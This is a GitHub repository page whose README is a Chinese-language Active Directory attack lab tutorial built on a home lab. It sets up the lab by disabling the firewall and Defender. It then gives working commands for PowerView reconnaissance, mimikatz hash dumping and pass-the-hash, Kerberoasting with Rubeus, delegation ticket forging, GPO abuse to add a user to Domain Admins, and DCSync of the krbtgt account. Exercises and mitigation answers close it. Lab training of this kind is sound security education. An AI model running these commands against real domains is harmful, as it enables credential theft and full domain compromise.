https://github.com/XTeam-Wing/Active-Directory-Security-101
Active-Directory-Security-101
https://github.com/XTeam-Wing/Active-Directory-Security-101
Last synced: 6 months ago
JSON representation
Active-Directory-Security-101
- Host: GitHub
- URL: https://github.com/XTeam-Wing/Active-Directory-Security-101
- Owner: XTeam-Wing
- License: apache-2.0
- Created: 2021-07-19T15:05:07.000Z (almost 4 years ago)
- Default Branch: master
- Last Pushed: 2021-07-19T15:26:07.000Z (almost 4 years ago)
- Last Synced: 2024-02-11T21:22:45.701Z (about 1 year ago)
- Size: 21.5 KB
- Stars: 6
- Watchers: 2
- Forks: 3
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - XTeam-Wing/Active-Directory-Security-101 - Active-Directory-Security-101 (Others)
README
[网页版本点我,阅读体验更佳](https://redteaming.net/pages/4e65fc/)
## 前置知识
刚入门的小伙伴可以去京东或者淘宝购买这本书看一遍
```bash
Windows Server 2012 R2 系统配置指南_戴有炜编著
```
文章是根据[https://github.com/cfalta/adse](https://github.com/cfalta/adsec/tree/main/lab-setup)c 改编。
## 环境搭建
[https://github.com/cfalta/adsec/tree/main/lab-setup](https://github.com/cfalta/adsec/tree/main/lab-setup)
- DC-Windows 2019
- User-jack-Windows 2019
- SqlServer-Windows 2019
### 配置域控
新增一个网卡，三个虚拟机使用这个网卡
设定指定ip
我是直接复制虚拟机，需要更改mac地址和sid。
还要更改sid
可以使用系统内置的工具sysprep或者另外一个newsid
工具[https://newsid.softag.com/download](https://newsid.softag.com/download)
在三台机器上以管理员权限执行以下命令。
- 关闭防火墙
```bash
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```
- 关闭Windows Defender
```bash
Uninstall-WindowsFeature -Name Windows-Defender
```
下载自动化脚本辅助安装
[https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts](https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts)
运行createdomain脚本，自行修改里面的域名称。
这里应该不能一步完成
先执行
```bash
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
```
重启后再继续执行。
重启后执行这个文件
功能就是根据json文件去自动添加用户和组等等。
### 配置域内机器
在两台成员机器上使用以下两个域账号注册
| John Doe | john | P@ssw0rd |
| --- | --- | --- |
| Bruce Lee | blee | TekkenIsAwesome! |
user1这台用john认证
user2机器用blee登录
### 攻击机器准备
用john登录user1这台机器，当做入口点，再分配一张网卡，让他出网。
默认工具包下载地址
[https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools](https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools)
### bloodhound安装及配置
谷歌一下
## 信息收集
导入powerview模块
```bash
cd C:\attacker-tools
cat -raw ".\PowerView.ps1" | iex
```
获取当前域的基本信息和域控位置
```bash
Get-Domain
Get-DomainController
```
查看有多少电脑和域内用户
```bash
Get-DomainComputer
Get-DomainUser
```
过滤出域管出来
```bash
Get-DomainUser | ? {$_.memberof -like "*Domain Admins*"}
Get-DomainUser | ? {$_.memberof -like "*Domain Admins*"} | select samaccountname
```
### 课后习题
参考答案我会放在最后面哦
1. 域中有多少台计算机以及它们在什么操作系统上运行？
1. 域中有多少用户？编写一个 powershell 语句进行查询，以表格形式列出所有用户，仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
1. 您能识别出哪些自定义的管理员组？以通用方式更改上面的 powershell 查询，使其仅返回自定义管理组。
1. 找到对应管理员组的成员，这些用户上一次设置密码是什么时候？
1. 有快速识别出域中服务帐户的简单方法吗？编写一个 powershell 查询，列出所有服务帐户。
## NTLM的利用
- mimikatz
- psexec
需要管理员权限，使用本地administrator用户登录
```bash
privilege::debug
token::elevate
lsadump::sam
```
获得到管理员hash
7dfa0531d73101ca080c7379a9bff1c7
pth攻击
```bash
sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
```
## 
```bash
psexec.exe \\user2 cmd
```
### 课后习题
1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么？为什么需要执行它们？
1. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
1. 如何尽可能的缓解PTH攻击，请讲清楚原因。
1. 是否有可能（并且可行）完全禁用 NTLM？解释你的理由。
## Kerberos-Roasting
预习资料[域渗透——AS-REP Roasting](https://www.4hou.com/posts/YVyM)
加载插件
```bash
cd C:\attacker-tools
cat -raw .\PowerView.ps1 | iex
cat -raw .\Invoke-Rubeus.ps1 | iex
```
查询SPN，获得服务用户
```bash
Get-DomainUser -SPN | select samaccountname, description, pwdlastset, serviceprincipalname
```
## 
Rubeus有一个统计kerberos数据的功能
```bash
Invoke-Rubeus -Command "kerberoast /stats"
```
获取目标账户的TGS
```bash
Invoke-Rubeus -Command "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
```
这里的脚本是base64之后通过powershell内存加载
```bash
function Invoke-Rubeus([string]$Command)
{
$Message="base64";
$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Message))
[Rubeus.Program]::Main($Command.Split(" "))
}
```
## 
破解TGS
```bash
.\john.exe ..\..\krb5tgs.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
```
### 课后习题
1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术，并解释其原因。
1. 还有一个用户会受到ASREP roasting影响，请找出来。
1. 解释一下TGS vs. ASREP roasting
## Kerberos (Delegation)
之前设置的时候没改json里面的数据，要把domain改了
找到委派用户
```bash
Get-DomainUser -TrustedToAuth
```
查看委派的目标
```bash
Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto
```
执行这个攻击的条件就是要知道用户的密码才行
生成hash
```bash
Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:wing.lab /user:service1"
```
## 
Rubeus允许我们在新的登录会话中启动powershell。这意味着我们伪造的票证只存在于这个登录会话中，不会干扰用户john已经存在的kerboers票证。
使用s4u请求一个TGS模拟域管理用户Bruce（bwillis）攻击user1。
我们请求3个不同服务的票证
CIFS将用于SMB访问
HOST/RPCSS用于WMI
```bash
Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt"
Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt"
Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"
```
## 
查看缓存的票据
前面我设置错了，委派的目标应该设置成user2，user1是自己，不过意思都一样。
```bash
ls \\user1.wing.lab\C$
```
通过wmi控制user1
```bash
Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
```
##
### 课后习题
1. 在上面的练习中，您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令，将用户john添加到本地管理组
1. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用
## ACL攻击
信息收集
```bash
cat -raw .\SharpHound.ps1 | iex
```
```bash
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
```
- CollectionMethod DcOnly表示仅从域控收集数据。从opsec的角度来看，这样比较好，因为是正常流量。
- Stealth单线程启动。速度较慢，但安全。
- PrettyJson 格式化.json文件。
- NoSaveCache 不保存缓存文件。
启动血犬
下载社区版的neo4j
[https://neo4j.com/download-center/#releases](https://neo4j.com/download-center/#releases)
```bash
❯ jdk11
❯ ./neo4j start
```
先把service1标记为已沦陷
点击这里
这里显示用户对域控的组策略有写入权限，通过组策略利用，攻击DC
需要先以service1的身份登录
```bash
runas /user:wing.lab\service1 powershell
```
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force
```
写入完成以后，需要等管理员更新组策略才会触发。
手工弄一下。
提权成功
成功登录到域控
### 课后习题
- acl攻击有哪些利用工具？
## 权限维持
权限维持的东西比较多
- 金银票据
- Mimikatz后门
- 等等等等
一般拿到DC权限就先执行
```bash
lsadump::dcsync /user:krbtgt
```
拿到所有用户hash，也可以作为后门。
### 课后习题
- 自主学习这些权限维持方法的原理。
## 参考答案
我做的不一定对，有错误请留言。
### 信息收集
powerview3.0 tricks
[https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
1. 域中有多少台计算机以及它们在什么操作系统上运行？
2. 域中有多少用户？编写一个 powershell 语句进行查询，以表格形式列出所有用户，仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
3. 您能识别出哪些自定义的管理员组？以通用方式更改上面的 powershell 查询，使其仅返回自定义管理组。
```bash
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
```
4. 找到对应管理员组的成员，这些用户上一次设置密码是什么时候？
5. 有快速识别出域中服务帐户的简单方法吗？编写一个 powershell 查询，列出所有服务帐户。
```bash
Get-DomainUser -SPN|select serviceprincipalname,userprincipalname,pwdlastset,lastlogon
```
### NTLM
[猕猴桃命令大全](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md)
1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么？为什么需要执行它们？
```bash
privilege::debug - 提升为管理员权限
token::elevate - 伪造令牌，获得system权限或发现其他用户的令牌
```
2. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
```bash
lsadump::dcsync /domain:wing.lab /user:bruce
dump所有数据
lsadump::dcsync /domain:wing.lab /all /csv
```
3. 如何尽可能的缓解PTH攻击，请讲清楚原因。
- 打上补丁kb2871997并且禁用SID=500的管理员用户
- 监控日志
4. 是否有可能（并且可行）完全禁用 NTLM？解释你的理由。
- 审查收到的NTLM流量：启用对所有帐户的审查
- 仅发送NTLMv2响应。拒绝LM＆NTLM
第四点我不太确定。
### Kerberos (Roasting)
1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术，并解释其原因。
- 禁止用户开启`Do not require Kerberos preauthentication`
- 禁止弱口令
2. 还有一个用户会受到ASREP roasting影响，请找出来。
Get-DomainUser -PreauthNotRequired -Verbose
3. 解释一下TGS vs. ASREP roasting
[https://www.4hou.com/posts/YVyM](https://www.4hou.com/posts/YVyM)
1. 在上面的练习中，您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令，将用户john添加到本地管理组：
- psexec
```bash
wmic /node:user1 process call create "cmd.exe /c net localgroup Administrators john /add"
```
2. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用？
- 自主学习这些权限维持的原理。